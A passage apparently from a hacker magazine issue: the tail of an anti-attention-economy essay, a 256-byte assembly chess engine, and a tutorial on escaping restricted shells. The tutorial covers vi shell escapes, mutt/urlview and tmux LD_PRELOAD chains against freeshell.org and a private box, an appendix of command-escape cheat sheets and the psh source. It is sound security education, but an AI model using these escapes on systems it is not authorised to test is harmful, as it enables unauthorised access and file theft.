What defenses does the modern person have to protect against the likes and tweets and clicks and slide to unlocks and checkmarks and tabs and porn and endless dopamine and serotonin harvesting mechanisms? These systems were sometimes built to reap monetary gain, sometimes built for communication control, and sometimes for nothing of any value... in exchange for a portion of the time, attention, and thoughts of the user as well as their information...

Don't buy and don't use them.

If you do use them, use the them only in great moderation and only at consciously specified times.

Inform others and expose existing and emerging technologies which may be limiting human potential.

Augment the technology in your possession to block advertisements.

Degrade the quality or value of your attention to the attention‑to‑profit technologies by:

‑ Sharing and proxying accounts with multiple users.

‑ Writing user interfaces to the user interfaces.

‑ Poisoning user activity with subtle fuzzers alongside your normal activity where it makes sense.

Similarly, make your information more useless by lying.

‑ Don't bother with real names where they don't matter.

‑ Fill out forms like madlibs.

[1] http://www.extremetech.com/computing/123929‑just‑how‑big‑are‑porn‑sites

‑‑ 30% of the internet traffic out there is porn

|=[ 0x02 ]=‑‑‑=[ Chesslin ‑ Baudsurfer/Red Sector Inc. ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

[ CHESSLIN ]

[ by Baudsurfer/Red Sector Inc. ]

|=‑‑[ Introduction

This is a sizecoding exercise to code a playable chess engine in 256 bytes. This POC is very experimental and bears several shortcomings when comparing with any other real FIDE existing chess game engine : you have been warned. It plays like a fish as AI is reduced to a half‑ply max solely, it also has no end‑game detection, pawns move only a single square, it cannot castle or do promotions ‑ let alone en‑passant ‑ and takes about a hundred seconds to play. It also only works on Microsoft Windows XP SP3. Like minimalist Edlin line editor Cheesslin focuses on a single console line. Whites start at the bottom of the virtual chess board but SAN notation order is inverse ranks :

A B C D E F G H

1 r n b q k b n r

2 p p p p p p p p

3

4

5

6

7 P P P P P P P P

8 R N B Q K B N R

So in order to test Chesslin one can uudecode below binaries to input first algebraic notation "h7h6" characters starting game by moving the White pawn on H file from seventh rank to sixth rank. A longer example string sequence of gameplay is "h7h6h2h3g8f6h3h4f6g4h4h5g4h2g1h3h2f1h3g5". Remember if your keyboard input is not legal chess then Chesslin will silently expect you to enter again a conforming four ascii character string just to proceed. Thus, if only a single faulty character was entered you will need to fill‑in with three more "dummy" characters before re‑typing a desired algebraic notation for validation only occurs every four‑chars exactly. All bugs are ofc mine.

|=‑‑[ Chesslin binaries

begin 644 CHESSLIN.COM hMDCeaMbsgG‑ai0J1BZ7aow+Y1ue7REu7PJsA06V3Ps1d+y9YjjjzJfY2+8nB h8S9vUD66LrIfqSvTRTeyxTyhCC‑m1CV1+565W2LtqkLP54Pz‑LLbgE8hp‑+3 hM0afsjTf2MbyWTSl‑7XB3efWyiUN+59lu+A+O0E‑fGpVARIEWQS2mLI0VWoY hWABUjjjzgEXcGk‑oFX10VAdpE6bvWAPcD+‑o‑X10VAdpAGbTcjLzWD+Y‑uUhR+8l‑1k‑iyI‑ptRp2DP405I0Ney2vPY0+5I0GOw‑rz8iR+Hf+JXtMQDcaDxp Uxkyk‑QAJ‑lAD1kzTsSvm1V6T6T+Ezk2D2T5jwC+D2F+D

+

end

begin 644 CHESSLIN.COM M8/.JF8GXL2!FN"5#‑E)FT\`D#ZJ)=0Z);5X,"(A%;X#I`^+DOOO_5KD$`*SM*>+[@/((7W4KV>[?=?J^]?^M..!R#.A#`'('B$7YVP7;'&;_!77GL0*MU!`% M8"FKXO?K$8G^B?>Q!)C‑%JKB^N@9`'+QZ`,`:"0!K2UA,=40B<>$R74"ABTD MB,‑@OOO_L0CH2P!T1C#"A,IU0(G[B,;H/`!T!C#"A,IU,2G?HO7_B/`D!Z@! M=`*Q!#P!N^4!UY=U$/;&"'4"9J^$[;D"`'4"2:\!W_*N=`3K`5CY8</HF/]U @]P^P!<,5!Q,/#P_?X>[R#A(?(?`0_P$/$?'O\.`/$1`/

`

end

|=‑‑[ Chesslin source code

; "You don't need eyes to see You need vision." ‑ Faithless _ ; Special greets to : Impure ASCII 1940 and Divine Stylers! | | ; Greets : Alco Bon^2 BReWErS CODEX Flush Lineout Mandarine .‑‑' `‑‑. ; Onslaught Paranoimia Quartex Rebels Razor1911 RiOT Titan. `‑‑. .‑‑'

; _ _ _

; ______)\___ )\_________)\_____________

;/________ __\\ __________ _________ __

; ______)\\__ \____ ___)\_____ _)\

; _/ _ _/ / _ \_\____ _ \_\ \

; \ \ \___\__ \ / \) __\___

; \ \_/ / \ / \/ /_

; \ / /____/\ /\ /\ / X /\/ / | |

; /_________/ \__/ \_______/_\_

;: ___)\

;.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑, \ gRK | |

;\Red Sector Incorporated presents\ \ \_(__)_ _)\ ___ ( )

; \Chesslin minimalist chess engine\ \ \ (__) \_/ /_ _/ \_

; \A 256 bytes DOS tiny intro XPSP3\ \ \ \ _ / \ _> <_

; \For Phrack Magazine #0x45 _ 2016\ \ \/ \ \ \_(___________)

;;;;,\Coded by Baudsurfer\RSi \\ &FU \ \ /\ \ \_____X___________>

; `‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑' `‑‑‑‑'

w equ word ; 16‑bit prettifying helper,Chesslin v1.0 in 2016 d equ dword ; 32‑bit prettifying helper,fasm assembler syntax org 100h ; binary ip execution seg start address above psp pusha ; para down stack and avoid input buff collisions rep stosb ; prepare board empty squares assumes ax=0 cx=255 cwd ; set Black=0=top active player turn, White=8=bot xchg ax,di ; shorter mov di,ax prepares writing segment base mov cl,20h ; 32 initialization decoding bit rotations in all a:mov eax,52364325h ; back‑rank "rnbqkbnr" nibble‑encoded 32b pattern rol eax,cl ; rotate next Black chess piece value in lsnibble and al,15 ; isolate a Black chess piece value from lsnibble stosb ; left‑to‑right write Black back‑rank major piece mov [di+0eh],si ; left‑to‑right write Black pawns assumes si=100h mov [di+5eh],bp ; left‑to‑right write White pawns assumes bp=9xxh or al,8 ; transforms Black back‑rank major piece to White mov [di+6fh],al ; left‑to‑right write White back‑rank major piece sub cl,3 ; fixes back‑rank pattern nibble rotation counter loop a ; file‑by‑file ranks init loops 20h/(3+1)=8 times b:mov si,0fffbh ; point source index to algebraic notation buffer push si ; shorter save of algebraic notation buffer start mov cx,4 ; print dword ascii algebraic notation buffer str c:lodsb ; get one of four usr/cpu bytes from ascii buffer int 29h ; dos api fast console out display char al=[di++] loop c ; continue until ascii file‑first pair chars left xor dl,8 ; alternate active player turn Black=0 or White=8 pop di ; shorter restore algebraic notation buffer start jnz h ; if active player turn is White then do keyboard fldz ; else Black active player turn fpu load +0.0 cst fbstp [di‑6] ; and store back 80‑bit packed bcd decimal number e:mov si,0fff5h ; zeroed this,best score 0fff5h and coords 0fff7h lodsw ; move lsb=potential capture vs. msb=best capture cmp al,ah ; compare this capture value against best capture jc f ; prune calculations if capture already lower val call n ; else verify the attack potential chess legality jc f ; capture higher value but move was illegal chess mov [di‑7],al ; successful calculation thus store newer highest fild d [di] ; successful calculation thus load current coords fistp d [si] ; successful calculation thus store highest coord f:inc d [di] ; resume exploring exhaustive [0;0ffffh] interval jnz e ; including subset ["1a1a";"8h8h"] until finished mov cl,2 ; convert int32 to two file‑first algebraic words g:lodsw ; get first int16 msw/lsw algebraic notation word aam 16 ; integer to expanded zero‑based file/rank nibble add ax,2960h ; translate file/rank to ascii chess board origin stosw ; write pair=half of the ascii move buffer string loop g ; get next int16 msw/lsw words algebraic notation jmp k ; and proceed examining ascii move buffer strings h:mov si,di ; di points to 0fffbh for both input and verifify i:mov di,si ; resets every input to algebraic notation buffer mov cl,4 ; one file‑first algebraic notation is four bytes j:cbw ; zero accumulator msb to set funct get keystroke int 16h ; al=dos bios keyboard services api blocking read stosb ; src file=fffb;rank=fffc dst file=fffd;rank=fffe loop j ; all file‑first algebraic ascii quartet inputed? call n ; else verify algebraic ascii move is legal chess jc i ; if not then proceed to ask user input move anew k:call l ; converts algebraic notation buffer ascii source push w b ; redirect second fall‑through return to printout l:lodsw ; algebraic notation buffer ascii source then dst sub ax,3161h ; convert to zero‑based alphanumerical 3161h="a1" aad 16 ; convert to x88 board representation (al+=ah*16) mov di,ax ; add x88 chess board representation memory start test cl,cl ; verify caller's asked mode is passive or active jnz m ; call asked mode mutex is passive so skip writes xchg [di],ch ; call asked mode mutex is active so write board! m:and al,88h ; test if inside main chess board x88 bitmask use ret ; return to standard callers or printout redirect n:pusha ; save reg vals in: si=fff7h/fffbh di=fffbh/ffffh mov si,0fffbh ; point source index to current ascii move buffer mov cl,8 ; set passive mode count mutex for only verifying call x ; convert buffer ascii src pair to x88 memory add jz u ; source is non‑conforming : illegal empty square xor dl,al ; sets move conformitiy using active player color test dl,cl ; test move conformity using active player colour jnz u ; source is non‑conforming : opponent turn colour mov bx,di ; else if source conforming then save piece addr. mov dh,al ; else if source conforming then save piece value call x ; convert buffer ascii dest to x88 memory address jz o ; if move nature not an attack skip over captures xor dl,al ; sets move conformitiy using active player color test dl,cl ; test move conformity using active player colour jnz u ; destination is non‑conforming : same turn color o:sub di,bx ; source & destination conforming so obtain delta mov [0fff5h],al ; save piece value as non‑transactional potential mov al,dh ; restore previous saved move source piece nature and al,7 ; normalize gray piece nature colorless isolation test al,1 ; determine source piece's parity interval length jz p ; piece face=piece nature=piece value=piece score mov cl,4 ; override halfing default interval len if parity p:cmp al,1 ; test if moving piece is a special handling pawn mov bx,y ; piece memory address off‑by‑one index ret fixed xlatb ; move piece original start offset memory address xchg ax,di ; offset becomes accumulator becomes displacement jnz s ; leave if move source piece not special handling test dh,8 ; else adjust move source pawn color displacement jnz q ; no White pawn displacement sub‑interval fixings scasd ; displacement interval offset+=4 for black pawns q:test ch,ch ; verify if pawn is attacking an opponent piece ? mov cx,2 ; loop index clears msb placeholder also sets lsb jnz s ; if non‑empty square : pawn attacking diagonally dec cx ; else decrease parity interval size special case r:scasw ; displacement interval start+=2 prunes attacking s:add di,bx ; set displacement interval scanning start offset repnz scasb ; verify move exists in displacement sub‑interval jz v ; ZF set legal src piece displacement delta found jmp u ; illegal src piece displacement: delta not found t:pop ax ; bail shotcircuits nested dataflow function call u:stc ; carry mutex persists indicating move is illegal v:popa ; persistant CF mutex is indicator to legal chess ret ; restore move mode mutex cl=passive or cl=active x:call l ; verify this move legal within inside main board jnz t ; exits for illegal move piece outside main board cmpxchg [di],al ; discriminate from special case zero return vals y:db 195,21,7,19,15,15,15 ; p[1]PF4,n[2]PF8,b[3]PF4,q[4]PF8,r[5]PF4,k[6]PF8 z:db ‑33,‑31,‑18,‑14,14 ; prev label is ret+1 parity displacement offsets db 18,31,33,‑16,16,‑1,1 ; z array is displacement overlap interval values db 15,17,‑15,‑17,‑16 ; knight rook+8 bishop+12 pawns White+12 Black+18 db ‑32,15,17,16 ; queen and king moves are rook+bishop+pawn moves

|=[ 0x03 ]=‑‑‑=[ He Compels Secure Shells ‑ DangerMouse ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ He Compels Secure Shells ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by DangerMouse ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of Contents

‑‑[ Introduction

‑‑[ Exploration ‑ Primitive Gathering.

‑‑‑‑[ Execution Primitive

‑‑‑‑[ Write Primitive

‑‑‑‑[ Read Primitive

‑‑[ A real life example ‑ freeshell.org

‑‑[ A real life example ‑ Private shell box

‑‑[ Attacking the transport

‑‑[ Conclusion

‑‑[ References

‑‑[ Appendix A ‑ Common commands with useful primitives

‑‑[ Appendix B ‑ psh Source code

‑‑[ Introduction

Welcome reader, in this small text we will look at a scenario which is probably familiar to most of you. That is, breaking out of secure shells.

For those of you who don't know, a common scenario exists where an administrator of some kind of device wishes to grant restricted access to the functionality of that device. To accomplish this he/she will create a shell (graphical or cli) which provides a subset of the features of the system to the user. This may be as simple as replacing the user in question's UNIX account shell with a custom written readline() loop which executes options from a set list of commands.

There are numerous pit‑falls associated with this practice which provide us with a means to escalate our privileges from within the restricted shell. In this write‑up we will examine some of these pitfalls, as well as look at the general process for investigating a restricted shell and eventually breaking out to a higher entitled environment. To illustrate these points we will look at some real life examples of secure shells and how we can break them.

Some examples of pre‑packaged, existing restricted shells are: rbash/rssh/smrsh/rksh, however there also exists an endless array of custom shells written for one off cases.

‑‑[ Exploration ‑ Primitive Gathering.

When investigating a secure shell environment, I find it best to systematically explore each of the options within the shell looking to collect certain primitives with which to elevate the options available.

‑‑‑‑[ Execution Primitive

Typically the most useful primitive which we gain is the execute primitive. Sometimes the ability to execute arbitrary commands is enough to break out of the shell, for example executing a more complete shell such as bash from within a restricted shell can often be enough to completely invalidate the security of the system. Some examples of how to gain this primitive are:

‑ Using the shell execute feature of many common shell commands, for example using the "!<shell command>" feature of the less pager. ‑ Invoking the execution of a text editor (often defined by the EDITOR variable) from within another application. Then using shell execute features of the editor to escape.

‑ Combining other primitives to hijack execution of exposed applications.

Here is a commonly used example of using the vi command to gain an execution primitive:

~$ vi

:set shell=/bin/sh

:shell

bash$

From a GUI perspective, many years ago, after drinking at a conference we decided it would be fun to create a game around breaking out from the many netcafe's which littered the streets at this time. These netcafes used to provide a restricted windows GUI with functionality removed, and the goal was to race to break out, without using any real 0day.

Often in this scenario an easy win was provided by invoking the mirc32.exe application (when it was whitelisted) and then using the /exec command to invoke cmd.exe. Another option was to set the handler for telnet:// uri's

in the browser to cmd.exe and spawn it that way.

Another byproduct of using software in an unintended way is that the security evaluation of the product technically neglects the permiters that are being exposed to an untrusted user. This means that often there are trivial memory corruption bugs exposed in the application which go unreported since even when people find them they do not care a great deal.

eg:

$ perl ‑e'print "A"x50,"\n"' | ftp

Segmentation fault: 11

It is definitely worthwhile auditing some of the commonly included commands in secure shells for easily triggerable memory corruption bugs, since these can often be all that's needed to gain the execution primitive and win.

Another common method of gaining the execution primitive is to abuse environment variable control to influence the dynamic linker. Typically this means setting the LD_PRELOAD/DYLD_INSERT_LIBRARIES/Whatever variable that provides a mechanism for injecting shared objects into a process as soon as the dynamic linker loads. Obviously for this to work we also need a write primitive before hand to store the library we wish to load somewhere. The tmux example later in the paper shows a real life case where this was possible.

‑‑‑‑[ Write Primitive

Obviously in some cases we cannot easily gain the execute primitive. In these cases we also looking for additional primitives which we can leverage to eventually gain an execution primitive.

Finding a write primitive is usually pretty easy. Most applications need some way to retain state between runs. Some examples are:

‑ Input redirection operators ('>', '>>', '>|', '<>', '>&', '&>', etc)

‑ Save ability of applications, text editors, etc

‑ Log files

In one case I saw, a write primitive alone was enough to break out of the restricted shell. By writing to a .unrestricted_user file within the home directory of your user account, the next login was presented with a bash shell. This is not typically the case though.

When a write primitive is aquired it is also worth keeping in mind the trick mentioned in [3]. If any of the invoked shell commands use wildcard expansion on a directory, it can sometimes be possible to create files beginning with the '‑' character, to pass arguments to those commands.

As you will see in the real life examples below, write primitives are typically available in most applications, and can easily be leveraged in a variety of ways to continue breaking out of the shell.

‑‑‑‑[ Read Primitive

When talking about a read primitive, we need some way to read an arbitrary file from the file system and display its contents on the screen.

Sometimes this can be relatively straight forward, for example in a shell which uses /usr/bin/less as a pager, you can use the :e (examine) command to open an alternative file. However often with less you can execute a command with ! as well, but in a case where you are unaware of the file system, you can use the e command to brute force directory structure to find things which are worthwhile executing.

Other applications are less straight forward, sometimes the read primitive may be filtered, or evaluated as a config file for the program. In these cases, sometimes contents of the file can only be retreived via error messages. Basically whenever you see a file path being provided to an application, you can test it wtih some known files to see if there is a way to retreive the contents.

Even when it is im‑possible to retrieve the contents of a file, sometimes a program will respond differently when a file exists or not. This may be easily noticed, or something subtle like return codes. This leak can be used to map out the file system.

‑‑[ A real life example ‑ freeshell.org

Now that we've looked at a more generic approach to defeating secure shells, we will look at some real world examples. The first of which is the restrcited shell "psh" which is used in the freeshell.org environment. (SDF Public Access UNIX System).

Before we get started looking at freeshell.org, i'd just like to say, I have nothing but respect for freeshell.org. I have been playing with the restricted shell on there for around 12 years, and have broken it a number of ways. Several times I have contacted the admins to let them know. To me this has provided a constantly evolving wargame which has been hours of fun.

The process of setting up an account on freeshell.org is really simple. By ssh'ing into the freeshell.org box as the user "new" you are redirected to a sign up process.

$ ssh new@freeshell.org

You will now be connected to NEWUSER mkacct server.

Please login as 'new' when prompted.

[RETURN]

THIS MAY TAKE A MOMENT .. Trying 192.94.73.20...

Connected to 192.94.73.20.

Escape character is 'off'.

NetBSD/amd64 (ol) (pts/2)

login: new

Welcome to the SDF Public Access UNIX System ‑ Est. 1987

You are the 79th guest today, logged in on 02‑Sep‑15 17:05:23.

Are you using Windows 2K or XP? (Y/N) N

‑‑‑‑‑‑

This new user process takes us to the first restricted shell. FEP. Typing `help` shows us the following menu:

FEP Command: help

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|COMMAND | DESCRIPTION |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|what | what is the SDF public access UNIX? | |w2k | important info for Windows 2k/XP users | |mkacct | create your own UNIX shell account | |dialup | US & Canada SDF dialup access | |teach | for teachers and UNIX class instructors | |traceroute {host} | map a route to a specified host | |whois {host} | list whois directory entry for a domain | |ruptime | display system status | |finger {user} | check if a login is available | |software | ported and installed software packages | |mil | information about our US Military Waiver| |logout | disconnect from sdf.org |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As you can see this provides us with some basic applications which we can run, but also allows us to kick off the mkacct process to make our own account.

By running the finger command on our current user (new). We can see that the new user has a shell of /sys/new/mkacct, which is the restricted shell we are in.

FEP Command: finger new

Login: new Name: SDF newuser

Directory: /sys/new Shell: /sys/new/mkacct On since Wed Sep 2 17:05 (UTC) on pts/2 (messages off)

No Mail.

The next thing we can see, is that they have not sanitized the arguments to finger. This means that we can pass arguments to the commands listed in the menu, this is a common mistake that people make when making restricted shells.

FEP Command: finger ‑?

finger: unknown option ‑‑ ?

usage: finger [‑lmpshog8] [login ...]

If we enter finger by itself, we are prompted with the usage, rather than displaying all users on the system logged in.

FEP Command: finger

usage: finger {user}

However by passing in ‑‑, telling getopts to terminate arguments, we can accomplish the same thing, and list users logged into the system.

FEP Command: finger ‑‑

Login Name Tty Idle Login Time Office Office Phone

new SDF newuser *pts/2 ‑ Wed 17:05

smj Stephen M. Jones pts/0 33 Tue 21:39

smj Stephen M. Jones pts/4 33 Wed 16:34

This shell is not the focus of the write‑up however, instead, if we run the mkacct command, we are prompted for a user‑name and password, and able to log into our shiney new psh shell.

‑‑‑

You are about to create a UNIX shell account. This account may be unlike anything you've used before. We urge you to carefully read all the text displayed on your terminal, as it will aide you in your learning. We also encourage you to try all the commands available with your new account. There are many types of games, applications and utilities you will be able to instantly run in just a few moments. If you are looking for a particular command or version of a command that we do not have, there are ways to request that it be installed. We also offer DIALUP and DSL in the USA and Canada which you will be able to learn about shortly. Be patient, read what is displayed ‑ Explore and Enjoy!

[RETURN]

First, you need to choose a LOGIN. A LOGIN allows you to LOG IN to the system. Your LOGIN can be 1 to 16 characters in length and can be composed of alpha‑numeric characters (middle period is OK).

What would you like to use for your login?

...

Type 'help' for Commands.

Type 'com' to chat with other users.

Type 'ttytter' to listen to Twitter Tweets anonymously.

Type 'mud' to play the SDFmud.

Type 'mkhomepg' to set up your personal website.

Did you know you can become a permanent LIFETIME member of SDF by making a onetime donation of $36? Type 'arpa' for more info!

sdf:/udd/d/dangermouse>

sdf:/udd/d/dangermouse> help

SDF psh Version 8 ‑ *PREVALIDATED SHELL ACCOUNT*

what ‑ what can I use this account for?

unix ‑ a listing of UNIX commands available to you NOW how ‑ information on increasing membership

teach ‑ using SDF in a classroom setting

dialup ‑ information about SDF dialup service

arpa ‑ about lifetime arpa membership

bboard ‑ sdf user message boards

commode ‑ chat with other users online

ysm ‑ chat on the ICQ network

bsflite ‑ chat on the AIM network

msnre ‑ chat on the MSN network

ttytter ‑ listen to Twitter tweets anonymously

lynx ‑ browse the WWW textually or access GOPHER bksp ‑ set your BACKSPACE key

faq ‑ frequently asked questions

software ‑ display software programs installed on the system quote ‑ get a real time stock quote

games ‑ a listing of available games

thxmoo ‑ connect to the THXMOO

mud ‑ connect to the SDFmud

validate ‑ gain additional shell access (also try 'user' for details)

sdf:/udd/d/dangermouse>

‑‑‑‑

As you can see, this shell gives us access to a variety of unix utilities as well as perform some basic shell commands such as cat/cd/etc. However this is a little deceiving as many of the commands are filtered. We can change directory anywhere on the system, which is useful for exploring the directory structure, however when we try to cat files to view their contents we can see that only files in our home directory are available.

The first method which I found for breaking out of psh revolved around the "lynx" text based web browser. My first thought was to open file://

based urls however they have disabled the ability to browse to arbitrary locations.

My next thought was to spawn a shell with !, however when you attempt this, the message "Spawning is disabled!" is shown. From this it was possible to determine that lynx was being spawned with the "‑restrictions=all" command line argument. However, due to the nature of getopts() (the c library function for parsing command line arguments) it is often possible to re‑enter the case associated for a particular argument. With this in mind we could specify a new value for ‑restrictions, and spawn a shell with the "!" key from within the new lynx. This has long been fixed in both lynx and the SDF shell, psh.

The most recent way in which I escaped the psh shell was much more complicated than the lynx method. The first step was to identify where the source code for psh is located. Trying to change directory to an invalid directory leaks this information, as seen below.

faeroes:/usr> cd doesnotexist

/usr/local/bin/psh[611]: cd: /usr/doesnotexist ‑ No such file or directory

Next, I needed to view the source code of the psh, in order to look for potential ways to escape. Attempting to use "cat" or "pico" to view this file however, shows that they have placed restrictions around viewing files outside of the home directory.

sdf:/usr/local/bin> cat /usr/local/bin/psh

usage: cat {filename}

Looking back at our list of possible applications to exploit for our primitives I quickly fell apon the next most complex in the list, the "mutt" mail client.

By pressing the E key on an email in mutt, it's possible to invoke the command stored in the EDITOR environment variable, in the case of psh, this is:

EDITOR=/usr/pkg/bin/pico

However, since pico is executed from within mutt, the ‑o (sandbox) option is not used. This means that from within the spawned pico process we can read any file, giving us our read primitive. The current source code for the psh shell is included in the appendix for you to learn from. In order to read arbitrary files from pico, we simply press the ctrl+r (^R) key combination and type a file‑name.

From within this pico execution we are also able to save files using the ctrl+o hotkey (^O). This provides us an arbitrary write primitive, which will come in useful for us later.

In the freeshell case, from within this environment we actually have the ability to send email. This provides an easy way for us to exfiltrate files. This can be done by reading a file (such as psh) into our pico session, then mailing it to a mailinator address for extraction.

Now that we have read/write primitives, we need to leverage them to gain an execution primitive. After much investigation, the way that i ended up doing this was to abuse the urlview feature of mutt.

Mutt offers the ability to select a email message and hit the ctrl+b (^B) hotkey in order to display a list of url's within the email message. The line in the config file which enables this is shown below.

^B M |urlview\n call urlview to extract URLs out of a message

As you can see, the email message is simply piped to the urlview application. The description of this application from the manual page describes urlview as:

urlview is a screen oriented program for extracting URLs from text files and displaying a menu from which you may launch a command to view a specific item.

From the man page we can see that urlview is driven from a configuration file, either a system wide one "/etc/urlview.conf" or a local user copy "~/.urlview". This configuration file is worth investigation with our write primitive to see what is available.

Again from the configuration file, we can see that the COMMAND option fits our need. It's description is shown below.

COMMAND command

If the specified command contains a %s, it will be subsituted with the URL that was requested, otherwise the URL is appended to the COMMAND string. The default COMMAND is:

url_handler.sh %s

As you can see, all that's needed it to create a configuration file with the following contents:

COMMAND /usr/pkg/bin/bash # %s

This will cause urlview to append the url to the above line, and execute it. Since a # is used prior to the %s the url will be treated as a comment. This results in an unrestricted bash shell being executed when we select an email message, press v followed by ctrl+b.

Once again this technique has been fixed, I will leave it as an exercise for the reader to find a new one. Hopefully freeshell is not angry about this since it is a learning exercise.

‑‑[ A real life example ‑ Private shell box

Recently a friend of mine set up a private ircd box for some semi‑trusted people. He created a chrooted environment where a user could ssh into a box and be greeted with a tmux session containing a single window with the irssi client inside it. I was unable to create a new window, or execute any other commands. Irssi was heavily restricted using a configuration file, stopping easy wins like /exec from within the irssi client.

After some trial and error, i settled into the tmux man page for inspiration. tmux supports a variety of commands which can be entered by pressing the tmux hotkey (ctrl+b) in this case and the : key. This provides a small shell in which you can enter commands to tmux.

Reading the man‑page, one of the first commands which stood out was as follows:

update‑environment variables

Set a space‑separated string containing a list of environment variables to be copied into the session environment when a new session is created or an existing session is attached. Any variables that do not exist in the source environment are set to be removed from the session environment (as if ‑r was given to the set‑environment command). The default is "DISPLAY SSH_ASKPASS SSH_AUTH_SOCK SSH_AGENT_PID SSH_CONNECTION WINDOWID XAUTHORITY".

To test this, i set the environment variable LD_PRELOAD to the value /tmp/wut.so. Then i logged out and into the box. This resulted in a segmentation faul upon connecting back as irssi tried to spawn, while loading a shared library which didn't exist. Great i'd found a bug, but unfortunately i'd locked myself out of the shell. Since this was a test, i could luckily ask my friend to restart my tmux session, however in a real case this would have been trouble. Now i had the ability to load a dynamic library of my choice, however without the ability to create one on disk, i was still not any better off.

After reading the tmux man page a little more, i came across the commands responsible for managing the paste buffers.

Specifically, it is possible to load a paste buffer from a file using the command:

load‑buffer [‑b buffer‑name] path

(alias: loadb)

Load the contents of the specified paste buffer from path.

With the paste buffer containing a file, you can then use:

show‑buffer [‑b buffer‑name]

(alias: showb)

Display the contents of the specified buffer.

This creates a new tmux window, containing the contents of the file you loaded. This gives us the read primitive.

We can also use the command:

save‑buffer [‑a] [‑b buffer‑name] path

(alias: saveb)

Save the contents of the specified paste buffer to path. The ‑a option appends to rather than overwriting the file.

As you can see, this command allows us to write our buffer out to a different file. To experiment with this, i copied a shared library that i knew existed by loading it into the buffer, then writing it out to /tmp. Then i set LD_PRELOAD, and validated that irssi did not crash.

The final command needed to break out of this shell is:

set‑buffer [‑a] [‑b buffer‑name] [‑n new‑buffer‑name] data

(alias: setb)

Set the contents of the specified buffer to data. The ‑a option appends to rather than overwriting the buffer. The ‑n option renames the buffer to new‑buffer‑name.

As you can see, this lets us manipulate the paste buffer in a more fine grain manner, in order to create a .so that we can abuse to get controlled code execution.

As you can see, the methodology at play here is very similar to the previous examples, but the actual technology at play was very different.

‑‑[ Attacking the transport

In some cases the restricted shell is just too restrictive, and it's just not possible to gain any of these primitives. In these cases there are still some things that are worth investigating. Sometimes you can attack the protocol with which you are connecting to the system. The first example, is the shellshock vulnerability (sorry to use a buzzword). Systems which are vulnerable to shellshock can sometimes be exploited to execute bash commands prior to invoking the users shell. This obviously breaks out of the restrictive environment.

Another example, is when the shell is dynamically linked. (Such as nologin typically). If the user is also given ftp access, or the ability to otherwise write to their home directory, sometimes the .ssh/ directory can be written to in order to create a config file, and if sshd is poorly configured, this can allow the user to provide a LD_PRELOAD environment variable to the ssh session, bypassing the nologin shell.

‑‑[ Conclusion

As you can hopefully see, setting up a restricted shell in a secure manner is an almost impossible task. The nature of secure shells involves exposing an untrusted user to code which was not designed to be trusted.

While there was not too much as far as technical content in this paper, hopefully it has still provided you some entertainment, and some ideas you can use in the future. I definitely encourage you all to play with some restricted shells as, even if you do not need the functionality, they still provide a fun free wargame.

Thanks go out to freeshell.org for your interesting wargame levels over the years, as well as huku for your help with this.

‑‑[ References

1) Restricted shells ‑ Wikipedia https://en.wikipedia.org/wiki/Restricted_shell

2) http://www.freeshell.org

3) http://www.defensecode.com/public/

DefenseCode_Unix_WildCards_Gone_Wild.txt

‑‑[ Appendix A ‑ Common commands with useful primitives

‑ vim :: Execution primitive

:set shell=/bin/bash

:shell

‑ arp ‑f <file> :: File read primitive

‑ iptables ‑‑modprobe=<cmd> :: Execution primitive

‑ tar ‑‑checkpoint‑action=<cmd> :: Execution primitive

‑ rsync ‑e <cmd> :: Execution primitive

‑ scp ‑F <file> a b: :: File read primitive

‑ scp ‑S <command> a b: :: Execution primitive

‑ lynx 'e' :: File read/write in editor

‑ lynx ! :: Execute Primitive

‑ mail "~v" :: Execute primitive

‑‑[ Appendix B ‑ psh Source code

#!/usr/pkg/bin/pdksh

stty susp '' intr '' quit '' erase '^h'

count=0

ccount=0

export TERM=xterm‑color

export SHELL=/dev/null

export LESSSECURE=true

export HISTORY=$HOME/.history

export EDITOR=/usr/pkg/bin/pico

export VISUAL=/usr/pkg/bin/pico

export NNTPSERVER=VALIDATE.TO.ACCESS.USENET

export MYTTY=`tty|cut ‑d/ ‑f3,4`

export SMALLTTY=`echo $MYTTY|cut ‑c4‑5`

export MYIP=`echo $SSH_CLIENT|awk '{print $1}'`

if [ ‑f ${HOME}/.profile ]

then rm ‑f ${HOME}/.profile

exit 0

fi

if [ ‑f ${HOME}/.kshrc ]

then rm ‑f ${HOME}/.kshrc

exit 0

fi

if [ "$MYIP" = "" ]

then MYIP="x.x.x.x"

fi

if [ ‑f $HOME/.pshrc ]

then BACKSPACE=`grep BACKSPACE $HOME/.pshrc|cut ‑d= ‑f2`

if [ "$BACKSPACE" != "" ]

then stty erase $BACKSPACE 1>/dev/null 2>/dev/null

fi

fi

Validate(){

echo

echo "Validation is basically designed to protect us from spammers. There" echo "are ways you can get validated by an SDF member. For instance if you" echo "were a student and your professor taught a class here on SDF you" echo "could gain validation through that class."

echo

